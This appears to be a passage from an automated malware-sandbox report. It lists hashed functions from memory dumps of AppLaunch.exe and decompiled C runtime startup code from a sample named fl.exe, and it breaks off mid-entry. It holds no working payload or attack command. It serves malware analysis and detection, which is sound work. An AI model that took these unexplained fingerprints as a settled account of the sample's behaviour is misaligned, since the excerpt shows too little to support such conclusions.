Opcode ID: 3989d025b2e4250f4ad3143fc94679a5c6a5d392ecf36142beab40070a7c24ec
Instruction ID: 5aa5c6af75de115dfcd3895c0723f4126ef3ed320c3fb5b57a88a7466d50514f
Opcode Fuzzy Hash: 3989d025b2e4250f4ad3143fc94679a5c6a5d392ecf36142beab40070a7c24ec
Instruction Fuzzy Hash: 9EF0E532701A265FC3049F28D404C4AB7A9EF8572031581A9E54997721CB20ED41C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00B44348 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 913feefd610b34a0e2c6ee1a0af60583bafab599c20c66bd2d12fbbedca8d45c
Instruction ID: cbc3b32181f63d26ecaa8d27da7ad1b7681b0bce44fdde42011e712aefcc6480
Opcode Fuzzy Hash: 913feefd610b34a0e2c6ee1a0af60583bafab599c20c66bd2d12fbbedca8d45c
Instruction Fuzzy Hash: 2CF06D74500B058FD725DF26D508522FBF6FF88314700892DE44A83B51DF78A519CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00B43358 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f39b3539db714ca417e79d7d3e87f02cd4fdab7a08395ee8cd37c1d3d5148a
Instruction ID: 19ea1ea4d6c27091bb73e13bbf4665c96e18bd29f350187bd5f64a21a4c37a0f
Opcode Fuzzy Hash: 62f39b3539db714ca417e79d7d3e87f02cd4fdab7a08395ee8cd37c1d3d5148a
Instruction Fuzzy Hash: B5E0D1763052505FCB055738B4549BDBF71FEC1651305006EE446C7753CF680D154752

Uniqueness

Uniqueness Score: -1.00%

Function 00B4BA80 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 951790821761b6197056b287b029d7382360025a551c71664512c41dba398f49
Instruction ID: d104949c4d24a53384bcd70b83544393d50f7b53d165d6a90aab1a5425bd0016
Opcode Fuzzy Hash: 951790821761b6197056b287b029d7382360025a551c71664512c41dba398f49
Instruction Fuzzy Hash: 63E0203230450417C704766EB845D5F7A6DFBC5321700447DF506C3301CE794C168272

Uniqueness

Uniqueness Score: -1.00%

Function 00B442E8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce5d95993941d984c52b69c9789b166bad68bd6c76875fdb5ee276e57dafce17
Instruction ID: 87e25ddee1b389f7ec765e14585a2c5356a70058bac6833b877e3aed77515432
Opcode Fuzzy Hash: ce5d95993941d984c52b69c9789b166bad68bd6c76875fdb5ee276e57dafce17
Instruction Fuzzy Hash: F9E065312047518FC310A72DE41965FBBF6FFC1329B00086DD246C7751CB7AAC158B96

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A818 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c05934c667b673d8c24c6965b4f927fa85931682a3389d60b1b40f9d647f4e79
Instruction ID: e2463302ebfe68c99807fe5543f88845aaa512917f61338ca1cdf4b62fe7c3ca
Opcode Fuzzy Hash: c05934c667b673d8c24c6965b4f927fa85931682a3389d60b1b40f9d647f4e79
Instruction Fuzzy Hash: 91E08675B051D0CFC7159734EA285C93FB4DF0A50170900E7E595C7B62DA20CD15C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00B404BC Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c14e103b606c4a5c34389101cba7df03d04d574c7d2eec854938ff46d8e22083
Instruction ID: d24774d7ef6a69087eb9c363c5ed165383a202932c788f4d7756633714d1f5fc
Opcode Fuzzy Hash: c14e103b606c4a5c34389101cba7df03d04d574c7d2eec854938ff46d8e22083
Instruction Fuzzy Hash: A2E0D8355190959BC701D764D4924B57BB0EA5230030047CAED859B361E2365F1AF741

Uniqueness

Uniqueness Score: -1.00%

Function 00B46440 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41ce38aec8bfeecb8d72b29f28b03d69aa60353d8390d055cedeb3592c300b65
Instruction ID: bb3f9ea23deaf4ac85fcb14aec9845dfc69f44d48493f91b2423743bc3c661f0
Opcode Fuzzy Hash: 41ce38aec8bfeecb8d72b29f28b03d69aa60353d8390d055cedeb3592c300b65
Instruction Fuzzy Hash: E3E020753041408FDF429624F8157C53761F767305B09159CD8568B381C7391C0687B2

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A9F0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e22052673abcef7c6ef68fcd4f8d81b689570b516998aa0bcdc5e824fcc5ed0e
Instruction ID: 80796e0367fe48ee12a71b2fd2ced747af25525dbb70c66c3c82e78506bef70c
Opcode Fuzzy Hash: e22052673abcef7c6ef68fcd4f8d81b689570b516998aa0bcdc5e824fcc5ed0e
Instruction Fuzzy Hash: D6E0C2B36093D89F8B06D6B858642CE3F629A5602570B00EBD098DB342DA69094983A6

Uniqueness

Uniqueness Score: -1.00%

Function 00B44E08 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf7a4bd347d398b5ca2a05260443d75d1f8f6c4443cacef7100aa7f9d75b5ca
Instruction ID: 6f8b246a9b0d3b1b10330ffa7c3b98279744e3cf0e9d153dfbe236f26be74406
Opcode Fuzzy Hash: 5bf7a4bd347d398b5ca2a05260443d75d1f8f6c4443cacef7100aa7f9d75b5ca
Instruction Fuzzy Hash: F2E0DFB62041208FC7069B20F8257CE3761FB52206B09218EE8929B362C7290E468FA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B43368 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d54a8ceac984221ec3196412a0f759dc61601069fd6f07a0eeeeebf58d320c0
Instruction ID: 2585697c882bb2fde31c652bc1612922982033359b78c0ec9334c28be6e3058b
Opcode Fuzzy Hash: 1d54a8ceac984221ec3196412a0f759dc61601069fd6f07a0eeeeebf58d320c0
Instruction Fuzzy Hash: ABD05B323005145B8614276DB41887EBBAAEFC5632304043DF907C7782CF795D1647D6

Uniqueness

Uniqueness Score: -1.00%

Function 00B475B0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbe88dc66fd943d6a86c770e7c79935d74c0d8be30e877ce05ecfb62d3faf212
Instruction ID: 1a25e53973c54572413211b4cf5dde2450a3835e01be474581307b5694223975
Opcode Fuzzy Hash: bbe88dc66fd943d6a86c770e7c79935d74c0d8be30e877ce05ecfb62d3faf212
Instruction Fuzzy Hash: 3CD095777441558FC715133894201D8B773DF9711131D49DFE469CBBC1CE240C088750

Uniqueness

Uniqueness Score: -1.00%

Function 00B4BA28 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ae4e31911eb5ea9f2b47502e74d43bb2b93fc86ef3411724fcd9b2989145cb
Instruction ID: 428143a53511fe0adf3a098e052a641eafdbc85bec6f2a2d7c3c3dbbd85a8889
Opcode Fuzzy Hash: a8ae4e31911eb5ea9f2b47502e74d43bb2b93fc86ef3411724fcd9b2989145cb
Instruction Fuzzy Hash: 43E086B89051445BEB56DA3AE047B4277D1F744311F1094DDDC4247252DB39CA5A9B42

Uniqueness

Uniqueness Score: -1.00%

Function 00B4DB38 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37b2e551db6960a490b1b439136413a8f5aa35b112ee71cbe39027867ce2cc
Instruction ID: c1fc109eadde07c181a1e2d8449bede1dddfe3f6e321634fe65ddb0ffafcfa20
Opcode Fuzzy Hash: 4f37b2e551db6960a490b1b439136413a8f5aa35b112ee71cbe39027867ce2cc
Instruction Fuzzy Hash: B9E092B4D0424D9F8B94DFA9D8416BEBFF4AB58300F10816AE919E2240E7745A91DFD1

Uniqueness

Uniqueness Score: -1.00%

Function 00B40468 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac6e249eb0050c8e566a6ef9dd459eb7cf5361569f60348d6afb60ed3f40153
Instruction ID: 9fbc795782fd6f40b1e476a432dc27cca3bc2db935215f4349c3fb04925feed0
Opcode Fuzzy Hash: 1ac6e249eb0050c8e566a6ef9dd459eb7cf5361569f60348d6afb60ed3f40153
Instruction Fuzzy Hash: C8D05B3090110DFFCB40DFA8D90155DB7B5FB4420471045BDE909E7310EB316F149B45

Uniqueness

Uniqueness Score: -1.00%

Function 00B4AA00 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a243e1fda3a3992e51a74710d7d3fc4b8cb3d23887a766da3658061327b374a
Instruction ID: 1c788ded823ea721178ab16af04e1d836f741f1335803aa3ea8dab71a223ecbf
Opcode Fuzzy Hash: 6a243e1fda3a3992e51a74710d7d3fc4b8cb3d23887a766da3658061327b374a
Instruction Fuzzy Hash: 94D0223360432C2B0B08DAEC54014CE7B9ECA84070F0100ABD20DD7340EE79190002E6

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A9D0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd910ecc86e5dbff55e978516cf52f5f39a4f3d8768877f5e6f819701c38138a
Instruction ID: d82c0c9b3af5508648f99c5cb863945d5f657fbd2fc22584e5a8802b93ac725e
Opcode Fuzzy Hash: cd910ecc86e5dbff55e978516cf52f5f39a4f3d8768877f5e6f819701c38138a
Instruction Fuzzy Hash: A8C048D760E2D14FCB0322388C602883F21A8A701238F00E2D1D08F3B3D6190A1DD73A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B4EF08 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9806be081f8998a9361a44d5f9dfd3c2670a99b328946440e76ab17fa914d821
Instruction ID: 69a0c4f4fdb94654ece9fb1d976159beee80ad48720e3370848b4eb4b30de3dd
Opcode Fuzzy Hash: 9806be081f8998a9361a44d5f9dfd3c2670a99b328946440e76ab17fa914d821
Instruction Fuzzy Hash: 30D18F74B002158FDB14DBB8D454AAEB7F6EF88304B1584A9E906DB3A1DB34DD02DB92

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: fl.exePID: 7448, Parent PID: 208228COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.2%
Total number of Nodes:	402
Total number of Limit Nodes:	11

Executed Functions

Function 0040119B Relevance: 15.1, APIs: 10, Instructions: 139
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E0040119B(signed int __ebx, int __esi, signed int _a4) {
				char** _v0;
				signed int _v4;
				void* _v16;
				signed short _v44;
				signed char _v48;
				intOrPtr _v108;
				void* _v112;
				intOrPtr _v116;
				long _t43;
				_Unknown_base(*)()* _t45;
				signed char** _t47;
				signed char* _t48;
				void* _t49;
				intOrPtr* _t50;
				int _t57;
				intOrPtr _t59;
				char* _t61;
				void* _t63;
				signed int _t66;
				signed int _t69;
				signed int _t71;
				void* _t74;
				char*** _t78;
				signed int _t81;
				void* _t86;
				signed int _t87;
				signed int _t88;
				char** _t89;
				intOrPtr _t92;
				char** _t96;
				void* _t99;
				signed int _t101;
				void* _t103;
				signed int _t104;
				signed int _t105;
				void** _t107;
				intOrPtr* _t108;

				L0:
				while(1) {
					L0:
					_t97 = __esi;
					_t69 = __ebx;
					_v0 = 0x3e8;
					 *__esi();
					_t104 = _t103 - 4;
					while(1) {
						L4:
						asm("lock cmpxchg [0x607df8], edi");
						if(0 != 0) {
							goto L3;
						}
						L5:
						_t71 = 0;
						if( *0x607df4 == 1) {
							L38:
							_v4 = 0x1f;
							L0042F530();
							if( *0x607df4 != 1) {
								goto L9;
							} else {
								goto L39;
							}
							goto L45;
						} else {
							L6:
							if( *0x607df4 == 0) {
								_v0 = 0x609018;
								_v4 = 0x60900c;
								 *0x607df4 = 1;
								L0042F4F8();
							} else {
								 *0x607004 = 1;
							}
							if( *0x607df4 == 1) {
								L39:
								_v0 = 0x609008;
								_v4 = 0x609000;
								L0042F4F8();
								 *0x607df4 = 2;
								if(_t71 != 0) {
									goto L10;
								} else {
									goto L40;
								}
								L45:
							} else {
								L9:
								if(_t71 == 0) {
									L40:
									 *0x607df8 = _t71;
								}
							}
						}
						L10:
						_t43 =  *0x5c38d4; // 0x41f760
						if(_t43 != 0) {
							_a4 = 0;
							_v0 = 2;
							_v4 = 0;
							_t43 =  *_t43();
							_t107 = _t107 - 0xc;
						}
						E0041FA60(_t43, _t92, _t99);
						_v4 = 0x41fce0; // executed
						_t45 = SetUnhandledExceptionFilter(??); // executed
						_t108 = _t107 - 4;
						 *0x6073cc = _t45;
						 *_t108 = 0x401000;
						_t47 = E0041F8E0(E0042F590());
						 *0x607de8 = 0x400000;
						L0042F550();
						_t48 =  *_t47;
						_t81 = 0;
						if(_t48 != 0) {
							while(1) {
								L18:
								_t87 =  *_t48 & 0x000000ff;
								if(_t87 <= 0x20) {
									goto L14;
								}
								L19:
								_t81 =  ==  ? _t81 ^ 0x00000001 : _t81;
								L17:
								_t48 =  &(_t48[1]);
								L18:
								_t87 =  *_t48 & 0x000000ff;
								if(_t87 <= 0x20) {
									goto L14;
								}
								L24:
								 *0x607dec = _t48;
								goto L25;
								L14:
								if(_t87 != 0 && (_t81 & 0x00000001) != 0) {
									L16:
									_t81 = 1;
									goto L17;
								}
								L20:
								if(_t87 != 0) {
									while(1) {
										L23:
										_t48 =  &(_t48[1]);
										_t88 =  *_t48 & 0x000000ff;
										if(_t88 == 0) {
											goto L24;
										}
										L22:
										if(_t88 <= 0x20) {
											continue;
										}
										goto L24;
									}
								}
								goto L24;
							}
						}
						L25:
						if( *0x6073b8 != 0) {
							_t66 = 0xa;
							if((_v48 & 0x00000001) != 0) {
								_t66 = _v44 & 0x0000ffff;
							}
							 *0x4b6000 = _t66;
						}
						_t69 =  *0x607018;
						_t97 = 4 + _t69 * 4;
						_t49 = malloc(_t97);
						_v112 = _t49;
						_t89 =  *0x607014;
						if(_t69 <= 0) {
							L43:
							_t50 = _v112;
						} else {
							L29:
							_t74 = _t49;
							_t14 = _t97 - 4; // 0x76d8648c
							_t59 = _t14;
							_t96 = _t89;
							_v116 = _t59;
							_v108 = _t59 + _t89;
							do {
								L30:
								_t61 =  *_t96;
								_t74 = _t74 + 4;
								_t96 =  &(_t96[1]);
								_t17 = strlen(_t61) + 1; // 0x1
								_t97 = _t17;
								_t63 = malloc(_t97);
								 *(_t74 - 4) = _t63;
								memcpy(_t63,  *(_t96 - 4), _t97);
							} while (_v108 != _t96);
							_t50 = _v116 + _v112;
						}
						L32:
						 *_t50 = 0;
						 *0x607014 = _v112;
						E0041F590();
						 *__imp____initenv =  *0x607010;
						_a4 =  *0x607010;
						_v0 =  *0x607014;
						_v4 =  *0x607018; // executed
						_t57 = L00408F7A(_t69, _t92); // executed
						 *0x60700c = _t57;
						if( *0x607008 == 0) {
							L44:
							exit(_t57);
							 *0x6073b8 = 1;
							E0041F5D0();
							_t104 = _t108 - 0xc + 0xc;
							L1:
							_t78 =  &_v0;
							_t105 = _t104 & 0xfffffff0;
							_push( *((intOrPtr*)(_t78 - 4)));
							_push(_t101);
							_t101 = _t105;
							_push(_t92);
							_push(_t97);
							_push(_t69);
							_push(_t78);
							_t86 = _t101 - 0x5c;
							memset(_t86, 0, 0x11 << 2);
							_t107 = _t105 - 0x78 + 0xc;
							if( *0x6073b8 != 0) {
								 *_t107 = _t86;
								GetStartupInfoA(??);
								_t107 = _t107 - 4;
							}
							_t92 =  *((intOrPtr*)( *[fs:0x18] + 4));
							_t99 = Sleep;
							L4:
							asm("lock cmpxchg [0x607df8], edi");
							if(0 != 0) {
								goto L3;
							}
							goto L10;
						}
						L33:
						if( *0x607004 == 0) {
							L0042F528();
							_t57 =  *0x60700c;
						}
						return _t57;
						L3:
						if(_t92 == 0) {
							L37:
							_t71 = 1;
							if( *0x607df4 != 1) {
								goto L6;
							} else {
								goto L38;
							}
							goto L45;
						} else {
							goto L0;
						}
						goto L10;
					}
				}
			}

0x0040119b
0x0040119b
0x0040119b
0x0040119b
0x0040119b
0x0040119b
0x004011a2
0x004011a4
0x004011a7
0x004011a7
0x004011a9
0x004011b3
0x00000000
0x00000000
0x004011b5
0x004011ba
0x004011bf
0x004013e3
0x004013e3
0x004013ea
0x004013f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004011c5
0x004011c5
0x004011cc
0x00401441
0x00401449
0x00401450
0x0040145a
0x004011d2
0x004011d2
0x004011d2
0x004011e4
0x004013fd
0x004013fd
0x00401405
0x0040140c
0x00401413
0x0040141d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004011ea
0x004011ea
0x004011ec
0x00401423
0x00401423
0x00401423
0x004011ec
0x004011e4
0x004011f2
0x004011f2
0x004011f9
0x004011fb
0x00401203
0x0040120b
0x00401212
0x00401214
0x00401214
0x00401217
0x0040121c
0x00401223
0x00401229
0x0040122c
0x00401231
0x0040123d
0x00401242
0x0040124c
0x00401251
0x00401253
0x00401257
0x00401271
0x00401271
0x00401271
0x00401277
0x00000000
0x00000000
0x00401279
0x00401281
0x0040126e
0x0040126e
0x00401271
0x00401271
0x00401277
0x00000000
0x00000000
0x004012af
0x004012af
0x00000000
0x00401260
0x00401262
0x00401269
0x00401269
0x00000000
0x00401269
0x00401290
0x00401292
0x004012a5
0x004012a5
0x004012a5
0x004012a8
0x004012ad
0x00000000
0x00000000
0x004012a0
0x004012a3
0x00000000
0x00000000
0x00000000
0x004012a3
0x004012a5
0x00000000
0x00401292
0x00401271
0x004012b4
0x004012bc
0x004012c2
0x004012c7
0x004013c0
0x004013c0
0x004012cd
0x004012cd
0x004012d2
0x004012d8
0x004012e2
0x004012e9
0x004012ec
0x004012f2
0x00401464
0x00401464
0x004012f8
0x004012f8
0x004012f8
0x004012fa
0x004012fa
0x004012fd
0x004012ff
0x00401304
0x00401310
0x00401310
0x00401310
0x00401312
0x00401315
0x00401320
0x00401320
0x00401326
0x0040132b
0x0040133c
0x00401341
0x00401349
0x00401349
0x0040134c
0x0040134c
0x00401355
0x0040135a
0x0040136a
0x00401371
0x0040137a
0x00401383
0x00401386
0x00401391
0x00401398
0x0040146c
0x0040146f
0x00401483
0x0040148d
0x00401492
0x00401150
0x00401150
0x00401154
0x00401159
0x0040115c
0x0040115d
0x0040115f
0x00401160
0x00401161
0x00401162
0x00401163
0x00401176
0x00401176
0x0040117a
0x00401430
0x00401433
0x00401439
0x00401439
0x00401188
0x0040118b
0x004011a7
0x004011a9
0x004011b3
0x00000000
0x00000000
0x00000000
0x004011b3
0x0040139e
0x004013a6
0x004013a8
0x004013ad
0x004013ad
0x004013bd
0x00401193
0x00401195
0x004013d0
0x004013d5
0x004013dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401195
0x004011a7

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00401223
__p__acmdln.MSVCRT ref: 0040124C
malloc.MSVCRT ref: 004012E2
strlen.MSVCRT ref: 0040131B
malloc.MSVCRT ref: 00401326
memcpy.MSVCRT ref: 0040133C
_cexit.MSVCRT ref: 004013A8
_amsg_exit.MSVCRT ref: 004013EA
_initterm.MSVCRT ref: 0040140C

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc$ExceptionFilterUnhandled__p__acmdln_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 738594520-0
Opcode ID: 2b74f90be1ab1ae3140ad7e5fef17a18c16af56de721da06f151901cdee752f3
Instruction ID: 1446f38f5914bcf2c25392ecb699ceff2251fae71c11c4fc5dc28f3342d5dcfb
Opcode Fuzzy Hash: 2b74f90be1ab1ae3140ad7e5fef17a18c16af56de721da06f151901cdee752f3
Instruction Fuzzy Hash: 16516DB0A482118FDB14EFA5E98075BB7F1BF44308F10453EE989973A1D778A849CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00417A05 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00417A05(void* __ebx, void* _a44) {
				void* _t12;
				intOrPtr _t15;
				intOrPtr _t17;
				void* _t19;
				void* _t21;
				intOrPtr _t23;
				void* _t24;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t32;

				_t21 = __ebx;
				_t23 =  *((intOrPtr*)(__ebx + 0x14));
				if(_t23 >=  *((intOrPtr*)(__ebx + 0x18))) {
					_a44 = 0;
					asm("ud2");
					 *0 = 0;
					asm("ud2");
					_a44 = 0;
					_t14 =  *8;
					asm("ud2");
					_t24 = _t23 + 1;
					 *_t31 =  *8;
					if(_t24 == 0) {
						E004ABE80();
					}
					_t15 = E00422E70(_t14, _t21, _t24, _t26, _t28);
					_t25 = _t24 + 1;
					 *_t31 = _t15;
					if(_t24 + 1 == 0) {
						E004ABE80();
					}
					E00422E70(_t15, _t21, _t25, _t26, _t28);
					_t32 = _t31 - 0x1c;
					_t17 =  *0x5b89d4; // 0x2
					if(_t17 != 0) {
						 *_t32 = 0x5b8cb8;
						E00420810();
					}
					 *_t32 = 0x4a00;
					 *0x5b8cc8 = 0x4a00; // executed
					_t19 = malloc(??); // executed
					 *0x5b8cc4 = _t19;
					if(_t19 == 0) {
						 *0x5b8cc8 = 0;
						 *0x5b8cc0 = 0;
					} else {
						 *0x5b8cc0 = _t19;
						 *_t19 = 0x4a00;
						 *(_t19 + 4) = 0;
					}
					 *_t32 = 0x4acad0;
					return E004014C0();
				} else {
					__eax = __edx;
					__edx = __edx + 1;
					__eax = __eax << 4;
					__eax = __eax +  *((intOrPtr*)(__ebx + 0x10));
					 *(__eax + 4) = 0;
					 *(__ebx + 0x14) = __edx;
					 *__eax = 0x27;
					 *((intOrPtr*)(__eax + 8)) = 0x5c31e8;
					 *((intOrPtr*)(__ebx + 0x2c)) =  *((intOrPtr*)(__ebx + 0x2c)) + 9;
					return _t12;
				}
			}

0x00417a05
0x00417a05
0x00417a0b
0x004adb6a
0x004adb77
0x004adb79
0x004adb83
0x004adb85
0x004adb8d
0x004adb92
0x004adb94
0x004adb97
0x004adb9a
0x004adb9c
0x004adb9c
0x004adba1
0x004adba8
0x004adbab
0x004adbae
0x004adbb0
0x004adbb0
0x004adbb5
0x004adbc0
0x004adbc3
0x004adbca
0x004adc0d
0x004adc14
0x004adc14
0x004adbcc
0x004adbd3
0x004adbdd
0x004adbe2
0x004adbe9
0x004adc1b
0x004adc25
0x004adbeb
0x004adbeb
0x004adbf0
0x004adbf6
0x004adbf6
0x004adbfd
0x004adc0c
0x00417a11
0x00417a11
0x00417a13
0x00417a16
0x00417a19
0x00417a1c
0x00417a23
0x00417a26
0x00417a2c
0x00417a33
0x0041734c
0x0041734c

APIs

malloc.MSVCRT ref: 004ADBDD

Strings

|/\, xrefs: 00417A2C

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: malloc
String ID: |/\
API String ID: 2803490479-3530255764
Opcode ID: 44a2561c20f095da09d215fa21535cf1f3f3e38f5ff2b2dd03732f30505f47cf
